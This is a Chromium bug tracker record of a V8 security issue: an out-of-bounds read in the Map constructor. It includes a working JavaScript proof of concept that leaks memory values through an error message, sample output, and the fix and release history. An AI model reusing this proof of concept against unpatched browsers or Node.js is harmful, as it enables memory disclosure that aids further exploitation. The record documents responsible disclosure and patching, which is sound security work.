New issue
Advanced search Search tips

Issue 837939 link

Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: May 2
Cc:
Components:
EstimatedDays: ----
NextAction: 2018-05-03
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: [v8] Information Leak in Map constructor

Reported by cwhan.t...@gmail.com, Apr 28

Issue description

VULNERABILITY DETAILS
When Map constructor takes double elements fast array as an input, it throws an exception and print the first element of the given array even though the array is empty, thus it could lead to OOB read.

See the following code in src/builtins/builtins-collection-gen.cc. it directly loads the first element of an array for an exception message without any boundary check.
```
void BaseCollectionsAssembler::AddConstructorEntriesFromFastJSArray(
    Variant variant, TNode<Context> context, TNode<Context> native_context,
    TNode<Object> collection, TNode<JSArray> fast_jsarray,
    Label* if_may_have_side_effects) {
 ...
  BIND(&if_doubles);
  {
    // A Map constructor requires entries to be arrays (ex. [key, value]),
    // so a FixedDoubleArray can never succeed.
    if (variant == kMap || variant == kWeakMap) {
      TNode<Float64T> element =
          UncheckedCast<Float64T>(LoadFixedDoubleArrayElement(
              elements, IntPtrConstant(0), MachineType::Float64(), 0,  // <---- Load the first element without any check
              INTPTR_PARAMETERS));
      ThrowTypeError(context, MessageTemplate::kIteratorValueNotAnObject,
                     AllocateHeapNumberWithValue(element));
    } else {
```

VERSION
V8 6.6.346.26 (stable)

REPRODUCTION CASE
```js
const double2int = (v) => {
  let buf = new ArrayBuffer(8);
  let farr = new Float64Array(buf);
  let iarr = new Uint32Array(buf);
  farr[0] = v;
  let d = (iarr[1] * 0x100000000) + iarr[0];
  return d;
};

try {
  // Create a double elements array.
  let iterable = new Array(10);
  for (let i = 0; i < 10; i++) {
    iterable[i] = 123.123;
  }

  iterable.length = 0;

  new Map(iterable);
} catch (e) {
  console.log(e);
  let regex = /TypeError: Iterator value ([0-9\.e\-]+) is not an entry object/;
  let val = parseFloat(regex.exec(e)[1]);
  console.log(`Memory Value: ${double2int(val).toString(16)}`);
}
```

When I run this code, I can read some memory value.
```
$ ./out/x64.release/d8
V8 version 6.6.346.26
d8>
$ ./out/x64.release/d8 ./test_collection.js
TypeError: Iterator value 2.7728071084073e-310 is not an entry object
Memory Value: 330afa382431
$ ./out/x64.release/d8 ./test_collection.js
TypeError: Iterator value 3.46540415415403e-310 is not an entry object
Memory Value: 3fcadf382431
```
 
This is a fix: https://crrev.com/c/1034043

btw, while I can reliably reproduce this vulnerability on v8 6.6.346.26 and nodejs 10.0.0, I cannot reproduce this on Chromium stable (macOS). It's weird. anyone knows why?
Components: Blink>JavaScript
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Thanks for the report and the patch!
I found that the precondition to trigger this fast path was too strong for Chromium stable, so it was a bit difficult to trigger this bug in html pages on stable version. But, we can still reliably reproduce this on pdfium stable because it creates a new isolate. Thus, it's indeed a bug affecting stable channel. Check the attached file (out.pdf). 

I also have confirmed that the strong condition was patched and loosened in beta. so, we can trigger this even in html pages on beta.
out.pdf
3.4 KB Download
Project Member

Comment 4 by ClusterFuzz, Apr 30

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6198840223596544.
Labels: FoundIn-66 Security_Severity-Medium Security_Impact-Stable Pri-1
Owner: jgruber@chromium.org
Status: Assigned (was: Unconfirmed)
Jakob, can you PTAL?
Project Member

Comment 6 by sheriffbot@chromium.org, May 1

Labels: M-67
Cc: gsat...@chromium.org
Indeed looks like a possible OOB read. 

It's also a spec violation to throw if the iterator is empty. See https://tc39.github.io/ecma262/#sec-map-iterable, which only throws in step 9.d.i. 

The CL in #1 seems like a good fix to both the OOB read and the spec violation.

+gsathya fyi.
Project Member

Comment 8 by bugdroid1@chromium.org, May 2

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/c77c869cd1f4928d3ce5f04a6d21ec6429ea8b72

commit c77c869cd1f4928d3ce5f04a6d21ec6429ea8b72
Author: Choongwoo Han <cwhan.tunz@gmail.com>
Date: Wed May 02 12:03:26 2018

Do not throw if the array is empty in Map constructor

Bug:  chromium:837939 
Change-Id: Iaca2bc5b52f47d8add13ed9b82497a53cb522933
Reviewed-on: https://chromium-review.googlesource.com/1034043
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/master@{#52913}
[modify] https://crrev.com/c77c869cd1f4928d3ce5f04a6d21ec6429ea8b72/src/builtins/builtins-collections-gen.cc
[add] https://crrev.com/c77c869cd1f4928d3ce5f04a6d21ec6429ea8b72/test/mjsunit/es6/regress/regress-crbug-837939.js

Cc: hablich@chromium.org
Labels: Merge-Request-67
Status: Fixed (was: Assigned)
Project Member

Comment 11 by sheriffbot@chromium.org, May 2

Labels: -Merge-Request-67 Merge-Review-67 Hotlist-Merge-Review
This bug requires manual review: M67 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 12 by sheriffbot@chromium.org, May 2

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Cc: awhalley@chromium.org
+awhalley@ (Security TPM) for M67 merge review. Thank you.
NextAction: 2018-05-03
awhalley@ to check tomorrow on canary.
The NextAction date has arrived: 2018-05-03
govind@ - good for 67
Labels: -Merge-Review-67 Merge-Approved-67
Approving merge to M67 branch 3396 based on comment #16. Please merge ASAP. Thank you.
Project Member

Comment 18 by bugdroid1@chromium.org, May 7

Labels: merge-merged-6.7
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/556a5e2ba591a06f5560e0a40408f77fd97f9179

commit 556a5e2ba591a06f5560e0a40408f77fd97f9179
Author: Choongwoo Han <cwhan.tunz@gmail.com>
Date: Mon May 07 08:01:41 2018

Merged: Do not throw if the array is empty in Map constructor

No-Presubmit: true
No-Tree-Checks: true
No-Try: true
Bug:  chromium:837939 
Change-Id: Iaca2bc5b52f47d8add13ed9b82497a53cb522933
Reviewed-on: https://chromium-review.googlesource.com/1034043
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#52913}(cherry picked from commit c77c869cd1f4928d3ce5f04a6d21ec6429ea8b72)
Reviewed-on: https://chromium-review.googlesource.com/1045926
Cr-Commit-Position: refs/branch-heads/6.7@{#59}
Cr-Branched-From: 8457e810efd34381448d51d93f50079cf1f6a812-refs/heads/6.7.288@{#2}
Cr-Branched-From: e921be5c4f2c6407936bde750992dedbf47c1016-refs/heads/master@{#52547}
[modify] https://crrev.com/556a5e2ba591a06f5560e0a40408f77fd97f9179/src/builtins/builtins-collections-gen.cc
[add] https://crrev.com/556a5e2ba591a06f5560e0a40408f77fd97f9179/test/mjsunit/es6/regress/regress-crbug-837939.js

Labels: -Merge-Approved-67
Labels: reward-topanel
Labels: -reward-topanel reward-unpaid reward-4500
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************
Nice on cwhan.tunz@, the VRP panel decided to award $4,000 for this report, and $500 for the patch. Cheers!
Labels: -reward-unpaid reward-inprocess
Thanks :)
Labels: Release-0-M67
Labels: CVE-2018-6142 CVE_description-missing
Labels: Hotlist-Torque
Cc: tebbi@chromium.org
Cc: jarin@chromium.org
Project Member

Comment 30 by sheriffbot@chromium.org, Aug 8

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment